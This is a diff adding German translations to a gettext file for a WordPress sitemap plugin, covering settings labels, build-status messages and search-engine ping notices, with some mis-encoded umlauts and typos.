+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:544
+msgid "Site Explorer"
+msgstr "Site Explorer"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:545
+msgid "Search Blog"
+msgstr "Search Blog"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:548
+msgid "Webmaster Center Blog"
+msgstr "Webmaster Center Blog"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:550
+msgid "Sitemaps Protocol"
+msgstr "Sitemaps Protokoll"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:551
+msgid "Official Sitemaps FAQ"
+msgstr "Offizielle Sitemaps FAQ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:552
+msgid "My Sitemaps FAQ"
+msgstr "Meine Sitemaps FAQ"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:555
+msgid "Recent Donations:"
+msgstr "Aktuelle Spenden:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:559
+msgid "List of the donors"
+msgstr "Liste der Spender"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:561
+msgid "Hide this list"
+msgstr "Liste ausblenden"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:564
+msgid "Thanks for your support!"
+msgstr "Danke fÃŒr Deine UnterstÃŒtzung!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:584
+msgid "The sitemap wasn't generated yet."
+msgstr "Die Sitemap wurde bisher noch nicht erzeugt."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:587
+msgid "Result of the last build process, started on %date%."
+msgstr "Ergebnisse der letzten Sitemap Generierung, gestartet am %date%."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:596
+#, php-format
+msgid "The sitemap wasn't built yet. <a href=\"%s\">Click here</a> to build it the first time."
+msgstr "Die Sitemap wurde noch nicht erstellt. <a href=\"%s\">Klick hier</a> um sie das erste mal zu erstellen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:602
+msgid "Your <a href=\"%url%\">sitemap</a> was last built on <b>%date%</b>."
+msgstr "Deine <a href=\"%url%\">Sitemap</a> wurde zuletzt am <b>%date%</b> erstellt."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:603
+msgid "The last build succeeded, but the file was deleted later or can't be accessed anymore. Did you move your blog to another server or domain?"
+msgstr "Die letzte Sitemap wurde erzeugt, jedoch kann sie nicht mehr gelesen werden oder wurde gelÃ¶scht. Haben Sie das Blog auf einen anderen Server verschoben?"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:605
+#, fuzzy
+msgid "There was a problem writing your sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a>"
+msgstr "Leider gab es ein Problem beim Schreiben der Sitemap. Bitte vergewisser dich dass die Datei exisitert und beschreibbar ist. <a href=\"%url%\">Mehr infos</a"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:612
+msgid "Your sitemap (<a href=\"%url%\">zipped</a>) was last built on <b>%date%</b>."
+msgstr "Deine Sitemap (<a href=\"%url%\">gezippt</a>) wurde zuletzt am <b>%date%</b> erstellt."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:613
+msgid "The last zipped build succeeded, but the file was deleted later or can't be accessed anymore. Did you move your blog to another server or domain?"
+msgstr "Die letzte gezippte Sitemap wurde erzeugt, jedoch kann sie nicht mehr gelesen werden oder wurde gelÃ¶scht. Haben Sie das Blog auf einen anderen Server verschoben?"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:615
+#, fuzzy
+msgid "There was a problem writing your zipped sitemap file. Make sure the file exists and is writable. <a href=\"%url%\">Learn more</a>"
+msgstr "Leider gab es ein Problem beim Schreiben der gezippten Sitemap. Bitte vergewisser dich dass die Datei exisitert und beschreibbar ist. <a href=\"%url%\">Mehr infos</a"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:621
+msgid "Google was <b>successfully notified</b> about changes."
+msgstr "Google wurde <b>erfolgreich</b> ÃŒber die Ãnderungen  <b>benachrichtigt</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:624
+msgid "It took %time% seconds to notify Google, maybe you want to disable this feature to reduce the building time."
+msgstr "Es hat %time% Sekunden gedauert Google zu benachrichtigen. Vielleicht mÃ¶chtest Du dieses Feature deaktivieren um die Dauer der Sitemap-Generierung zu verkÃŒrzen?"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:627
+#, php-format
+msgid "There was a problem while notifying Google. <a href=\"%s\">View result</a>"
+msgstr "Leider gab es beim Versuch Google zu benachrichtigen ein Problem. <a href=\"%s\">Ergebnis anzeigen</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:633
+msgid "YAHOO was <b>successfully notified</b> about changes."
+msgstr "YAHOO wurde <b>erfolgreich</b> ÃŒber die Ãnderungen  <b>benachrichtigt</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:636
+msgid "It took %time% seconds to notify YAHOO, maybe you want to disable this feature to reduce the building time."
+msgstr "Es hat %time% Sekunden gedauert YAHOO zu benachrichtigen. Vielleicht mÃ¶chtest Du dieses Feature deaktivieren um die Dauer der Sitemap-Generierung zu verkÃŒrzen?"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:639
+#, php-format
+msgid "There was a problem while notifying YAHOO. <a href=\"%s\">View result</a>"
+msgstr "Leider gab es beim Versuch YAHOO zu benachrichtigen ein Problem. <a href=\"%s\">Ergebnis anzeigen</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:645
+msgid "Bing was <b>successfully notified</b> about changes."
+msgstr "Bing wurde <b>erfolgreich</b> ÃŒber die Ãnderungen  <b>benachrichtigt</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:648
+msgid "It took %time% seconds to notify Bing, maybe you want to disable this feature to reduce the building time."
+msgstr "Es hat %time% Sekunden gedauert Bing zu benachrichtigen. Vielleicht mÃ¶chtest Du dieses Feature deaktivieren um die Dauer der Sitemap-Generierung zu verkÃŒrzen?"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:651
+#, php-format
+msgid "There was a problem while notifying Bing. <a href=\"%s\">View result</a>"
+msgstr "Leider gab es beim Versuch Bing zu benachrichtigen ein Problem. <a href=\"%s\">Ergebnis anzeigen</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:657
+msgid "Ask.com was <b>successfully notified</b> about changes."
+msgstr "Ask.com wurde <b>erfolgreich</b> ÃŒber die Ãnderungen  <b>benachrichtigt</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:660
+msgid "It took %time% seconds to notify Ask.com, maybe you want to disable this feature to reduce the building time."
+msgstr "Es hat %time% Sekunden gedauert Ask.com zu benachrichtigen. Vielleicht mÃ¶chtest Du dieses Feature deaktivieren um die Dauer der Sitemap-Generierung zu verkÃŒrzen?"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:663
+#, php-format
+msgid "There was a problem while notifying Ask.com. <a href=\"%s\">View result</a>"
+msgstr "Leider gab es beim Versuch Ask.com zu benachrichtigen ein Problem. <a href=\"%s\">Ergebnis anzeigen</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:671
+msgid "The building process took about <b>%time% seconds</b> to complete and used %memory% MB of memory."
+msgstr "Die Sitemap-Generierung dauerte <b>%time% sekunden</b> und verwendete %memory% MB Speicher."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:673
+msgid "The building process took about <b>%time% seconds</b> to complete."
+msgstr "Die Sitemap-Generierung dauerte <b>%time% sekunden</b>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:677
+msgid "The content of your sitemap <strong>didn't change</strong> since the last time so the files were not written and no search engine was pinged."
+msgstr "Die Inhalte der Sitemap haben sich <strong>nicht geÃ€ndert</strong> seit dem letzten mal, daher wurden keine Dateien geschrieben oder Suchmaschinen informiert."
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:586
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:685
+msgid "The building process might still be active! Reload the page in a few seconds and check if something has changed."
+msgstr "Das Erstellen der Sitemap dauert eventuell noch. Laden Sie diese Seite in ein paar Sekunden neu und prÃŒfen Sie ob sich der Status geÃ€ndert hat."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:688
+msgid "The last run didn't finish! Maybe you can raise the memory or time limit for PHP scripts. <a href=\"%url%\">Learn more</a>"
+msgstr "Die letzte Generierung der Sitemap wurde nicht abgeschlossen. Eventuell hilft es das Speicherlimit fÃŒr PHP Skripte zu erhÃ¶hen. <a href=\"%url%\">Mehr Infos</a>"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:690
+msgid "The last known memory usage of the script was %memused%MB, the limit of your server is %memlimit%."
+msgstr "Der zuletzt bekannte Speicherverauch lag bei %memused%MB, das Limit fÃŒr PHP Skripte ist %memlimit%."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:694
+msgid "The last known execution time of the script was %timeused% seconds, the limit of your server is %timelimit% seconds."
+msgstr "Die zuletzt bekannte AusÃŒhrungszeit lag bei %timeused% Sekunden, das Limit fÃŒr PHP Skripe ist %timelimit% Sekunden."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:698
+msgid "The script stopped around post number %lastpost% (+/- 100)"
+msgstr "Das Script hat bei dem %lastpost% Beitrag abgebrochen. (+/- 100)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:701
+#, php-format
+msgid "If you changed something on your server or blog, you should <a href=\"%s\">rebuild the sitemap</a> manually."
+msgstr "Falls Du etwas am Server oder am Blog geÃ€ndert hast, solltest Du die Sitemap von Hand <a href=\"%s\">neu erstellen</a>."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:703
+#, php-format
+msgid "If you encounter any problems with the build process you can use the <a href=\"%d\">debug function</a> to get more information."
+msgstr "Falls es beim Generieren der Sitemap Probleme gibt, kannst Du die <a href=\"%d\">Debug Funktion</a> verwenden um mehr ÃŒber die auftretenden Fehler zu erfahren."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:710
+msgid "Basic Options"
+msgstr "Allgemeine Einstellungen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+msgid "Sitemap files:"
+msgstr "Sitemap Dateien:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:712
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:727
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:747
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Learn more"
+msgstr "Mehr Infos"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:717
+msgid "Write a normal XML file (your filename)"
+msgstr "Sitemap als XML Datei erzeugen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:723
+msgid "Write a gzipped file (your filename + .gz)"
+msgstr "Gezippte Sitemap erzeugen  (Dateiname + .gz)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:727
+msgid "Building mode:"
+msgstr "Erstellungsmodus:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:732
+msgid "Rebuild sitemap if you change the content of your blog"
+msgstr "Sitemap neu generieren wenn Du den Inhalt Deines Blogs Ã€nderst"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:739
+msgid "Enable manual sitemap building via GET Request"
+msgstr "Manuelles Generieren der Sitemap ÃŒber GET Anfrage erlauben"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:743
+#, fuzzy
+msgid "This will allow you to refresh your sitemap if an external tool wrote into the WordPress database without using the WordPress API. Use the following URL to start the process: <a href=\"%1\">%1</a> Please check the result box above to see if sitemap was successfully built."
+msgstr "Dies erlaubt Dir die Sitemao zu aktualisieren falls ein externes Programm in die WordPress Datenbank geschrieben hat ohne die API zu verwenden. Verwende folgende URL um die Generierung zu starten: <a href=\"%1\">%1</a> Bitte ÃŒberpÃŒf die Logdatei um zu sehen ob die Generirung erfolgreich war."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:747
+msgid "Update notification:"
+msgstr "Benachrichtigung ÃŒber Ãnderungen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:751
+msgid "Notify Google about updates of your Blog"
+msgstr "Google ÃŒber Ãnderungen benachrichtigen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:752
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Google Webmaster Tools</a> to check crawling statistics."
+msgstr "Keine Registrierung erforderlich, aber Du kannst Dich bei den <a href=\"%s\">Google Webmaster Tools</a> anmelden um Indexierungs-Statistiken zu Deiner Website zu sehen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:756
+msgid "Notify Bing (formerly MSN Live Search) about updates of your Blog"
+msgstr "Bing (vormals MSN Live Search) ÃŒber Ãnderungen benachrichtigen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:757
+#, php-format
+msgid "No registration required, but you can join the <a href=\"%s\">Bing Webmaster Tools</a> to check crawling statistics."
+msgstr "Keine Registrierung erforderlich, aber Du kannst Dich bei den <a href=\"%s\">Bing Webmaster Tools</a> anmelden um Indexierungs-Statistiken zu Deiner Website zu sehen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:761
+msgid "Notify Ask.com about updates of your Blog"
+msgstr "Ask.com ÃŒber Ãnderungen benachrichtigen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:762
+msgid "No registration required."
+msgstr "Keine Registrierung erforderlich"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:766
+msgid "Notify YAHOO about updates of your Blog"
+msgstr "YAHOO ÃŒber Ãnderungen benachrichtigen"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3154
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:767
+msgid "Your Application ID:"
+msgstr "Deine Application ID:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3155
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:768
+#, php-format
+msgid "Don't you have such a key? <a href=\"%s1\">Request one here</a>! %s2"
+msgstr "Noch keinen Key? <a href=\"%s1\">Hier beantragen</a>! %s2"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:773
+msgid "Add sitemap URL to the virtual robots.txt file."
+msgstr "Die Sitemap zur virtuellen robots hinzufÃŒgen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:777
+msgid "The virtual robots.txt generated by WordPress is used. A real robots.txt file must NOT exist in the blog directory!"
+msgstr "Es wird die von WordPress generierte virtuelle robots.txt verwendet. Es dark keine robots.txt Datei im Blog Verzeichnis liegen!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:780
+msgid "Advanced options:"
+msgstr "Erweiterte Einstellungen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Limit the number of posts in the sitemap:"
+msgstr "Die Anzahl der BeitrÃ€ge in der Sitemap beschrÃ€nken auf:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:783
+msgid "Newer posts will be included first"
+msgstr "Neuere BeitrÃ€ge kommen zuerst"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "Try to increase the memory limit to:"
+msgstr "Versuchen das Speicherlimit zu erhÃ¶hen auf: "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:786
+msgid "e.g. \"4M\", \"16M\""
+msgstr "z.B. \"4M\", \"16M\""
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:789
+msgid "Try to increase the execution time limit to:"
+msgstr "Veruschen das Zeit Limit zu erhÃ¶hen auf: "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:789
+msgid "in seconds, e.g. \"60\" or \"0\" for unlimited"
+msgstr "in Sekunden, z.B. \"60\" oder \"0\" for unendlich"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:793
+msgid "Include a XSLT stylesheet:"
+msgstr "Ein XSLT Stylesheet einbinden:"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:794
+msgid "Full or relative URL to your .xsl file"
+msgstr "Kompletter oder relativer Pfad zur .xsl Datei"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:794
+#, fuzzy
+msgid "Use default"
+msgstr "Standard verwenden"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3152
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:800
+msgid "Enable MySQL standard mode. Use this only if you're getting MySQL errors. (Needs much more memory!)"
+msgstr "MySQL Standard Modus aktivieren. Benutze diesen nur falls MySQL Fehler auftreten. (BenÃ¶tigt mehr Speicher!)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:801
+msgid "Upgrade WordPress at least to 2.2 to enable the faster MySQL access"
+msgstr "Updatete WordPress auf 2.2 um den schnelleren MySQL Modus zu aktiviren"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3166
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:808
+msgid "Build the sitemap in a background process (You don't have to wait when you save a post)"
+msgstr "Die Sitemap in einem Background-Process erstellen (Keine VerzÃ¶gerung nach dem Speichern von Posts)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:809
+msgid "Upgrade WordPress at least to 2.1 to enable background building"
+msgstr "Updatete WordPress auf 2.1 um das Erstellen im Hintergrund zu aktivieren."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:816
+msgid "Additional pages"
+msgstr "ZusÃ€tzliche Seiten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:819
+msgid "Here you can specify files or URLs which should be included in the sitemap, but do not belong to your Blog/WordPress.<br />For example, if your domain is www.foo.com and your blog is located on www.foo.com/blog you might want to include your homepage at www.foo.com"
+msgstr "Hier kÃ¶nnen Sie zusÃ€tzliche Seiten in Form von URLs angeben, welche mit in Ihre Sitemap aufgenommen werden sollen aber nicht von WordPress erzeugt werden. Falls Sie z.B. Ihre Homepage auf www.beispiel.com haben, Ihr Blog aber unter www.beispiel.com/blog zu erreichen ist, tragen Sie Ihre Homepage als http://www.beispiel.com hier  ein."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:821
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1024
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1033
+msgid "Note"
+msgstr "Hinweis"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:822
+msgid "If your blog is in a subdirectory and you want to add pages which are NOT in the blog directory or beneath, you MUST place your sitemap file in the root directory (Look at the &quot;Location of your sitemap file&quot; section on this page)!"
+msgstr "Falls Dein Blog in einem Unterverzeichnis liegt und Du Seiten hinzufÃŒgen mÃ¶chtest die nicht in deinem Blogverzeichnis oder einem tieferen Verzeichnis liegen, musst Du seine Seite ins Stammverzeichnis legen. (Schau Dir den Punkt &quot;Pfad zur Sitemap Datei&quot; weiter unten an)!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:824
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:863
+msgid "URL to the page"
+msgstr "URL zur Seite"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:825
+msgid "Enter the URL to the page. Examples: http://www.foo.com/index.html or www.foo.com/home "
+msgstr "Geben Sie hier die URL Ihrer Seite an. Beispiele: www.foo.com oder http://www.nic.de/index.html"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:827
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:864
+msgid "Priority"
+msgstr "PrioritÃ€t"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:828
+msgid "Choose the priority of the page relative to the other pages. For example, your homepage might have a higher priority than your imprint."
+msgstr "WÃ€hlen Sie hier die PrioritÃ€t der Seite relativ zu den anderen Seiten. Ihre Homepage kÃ¶nnte z.B. eine hÃ¶here PrioritÃ€t besitzen als das Impressum. "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:830
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:866
+msgid "Last Changed"
+msgstr "Letzte Ãnderung"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:831
+msgid "Enter the date of the last change as YYYY-MM-DD (2005-12-31 for example) (optional)."
+msgstr "Tragen Sie hier das Datum der letzten Ãnderung im Format JJJJ-MM-TT (z.B. 2005-12-31). Dieses Feld ist optional und muss nicht ausgefÃŒllt werden."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:865
+msgid "Change Frequency"
+msgstr "ÃnderungshÃ€ufigkeit"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:867
+msgid "#"
+msgstr "#"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:872
+msgid "No pages defined."
+msgstr "Bisher keine Seiten eingetragen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:877
+msgid "Add new page"
+msgstr "Neue Seite hinzufÃŒgen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:882
+msgid "Post Priority"
+msgstr "PrioritÃ€t der BeitrÃ€ge"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:884
+msgid "Please select how the priority of each post should be calculated:"
+msgstr "Bitte wÃ€hle wie die PrioritÃ€t der einzelnen BeitrÃ€ge berechnet werden soll."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:886
+msgid "Do not use automatic priority calculation"
+msgstr "Keine automatische PrioritÃ€tsberechung verwenden"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:886
+msgid "All posts will have the same priority which is defined in &quot;Priorities&quot;"
+msgstr "Alle BeitrÃ€ge haben die selbe PrioritÃ€t wlche unter &quot;PrioriÃ€ten&quot; eingestellt ist."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:897
+msgid "Location of your sitemap file"
+msgstr "Pfad der Sitemap Datei"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:900
+msgid "Automatic detection"
+msgstr "Automatische Erkennung"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:904
+msgid "Filename of the sitemap file"
+msgstr "Dateiname der Sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:907
+msgid "Detected Path"
+msgstr "Erkenater Pfad"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:907
+msgid "Detected URL"
+msgstr "Erkannte URL"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:912
+msgid "Custom location"
+msgstr "Eigener Pfad"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:916
+msgid "Absolute or relative path to the sitemap file, including name."
+msgstr "Absoluter oder relativer Pfad zur Sitemap Datei inkl. Dateinamen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:918
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:927
+msgid "Example"
+msgstr "Beispiel"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:925
+msgid "Complete URL to the sitemap file, including name."
+msgstr "Absolute URL zur Sitemap Datei inkl. Dateinamen."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:938
+msgid "Sitemap Content"
+msgstr "Inhalt der Sitemap"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:944
+msgid "Include homepage"
+msgstr "Startseite"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:950
+msgid "Include posts"
+msgstr "BeitrÃ€ge"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap-ui.php:1013
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:956
+msgid "Include following pages of multi-page posts (Increases build time and memory usage!)"
+msgstr "Folgeseiten von BeitrÃ€gen  (ErhÃ¶ht Erstelldauer und Speicherverbrauch)"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:962
+msgid "Include static pages"
+msgstr "Statische Seiten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:968
+msgid "Include categories"
+msgstr "Kategorien"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:974
+msgid "Include archives"
+msgstr "Archive"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:981
+msgid "Include tag pages"
+msgstr "Tag Seiten "
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:988
+msgid "Include author pages"
+msgstr "Autoren Seiten"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:992
+msgid "Further options"
+msgstr "Weitere Optionen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:997
+msgid "Include the last modification time."
+msgstr "Letztes Ãnderungsdatum mit einbeziehen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:999
+msgid "This is highly recommended and helps the search engines to know when your content has changed. This option affects <i>all</i> sitemap entries."
+msgstr "Dies ist Ã€uÃerst empfohel und hilft den Suchmaschienen zu wissen wann Ihr Inhalt geÃ€ndert wurde. Diese Einstellungen betrifft <i>alle</i> EintrÃ€ge der Sitemap."
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1006
+msgid "Excluded items"
+msgstr "Seiten ausschlieÃen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1008
+msgid "Excluded categories"
+msgstr "Kategorien ausschlieÃen"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1010
+msgid "Using this feature will increase build time and memory usage!"
+msgstr "Die Verwendung dieser Funktion wird die Erstelldauer sowie den Speicherverbrauch erhÃ¶hen!"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1017
+#, php-format
+msgid "This feature requires at least WordPress 2.5.1, you are using %s"
+msgstr "Dieses Feature benÃ¶tigt mindestens WordPress 2.5.1, Sie verwenden %s"
+
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1020
+msgid "Exclude posts"
+msgstr "BeitrÃ€ge ausschlieÃen"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1022
+msgid "Exclude the following posts or pages:"
+msgstr "Folgende BeitrÃ€ge oder Seiten ausschlieÃen:"
+
+# C:\Inetpub\wwwroot\wp\wp-content\plugins\sitemap_beta/sitemap.php:3206
+#: H:\Webdev\htdocs\wp_plugins\sitemap_beta/sitemap-ui.php:1022
+msgid "List of IDs, separated by comma"
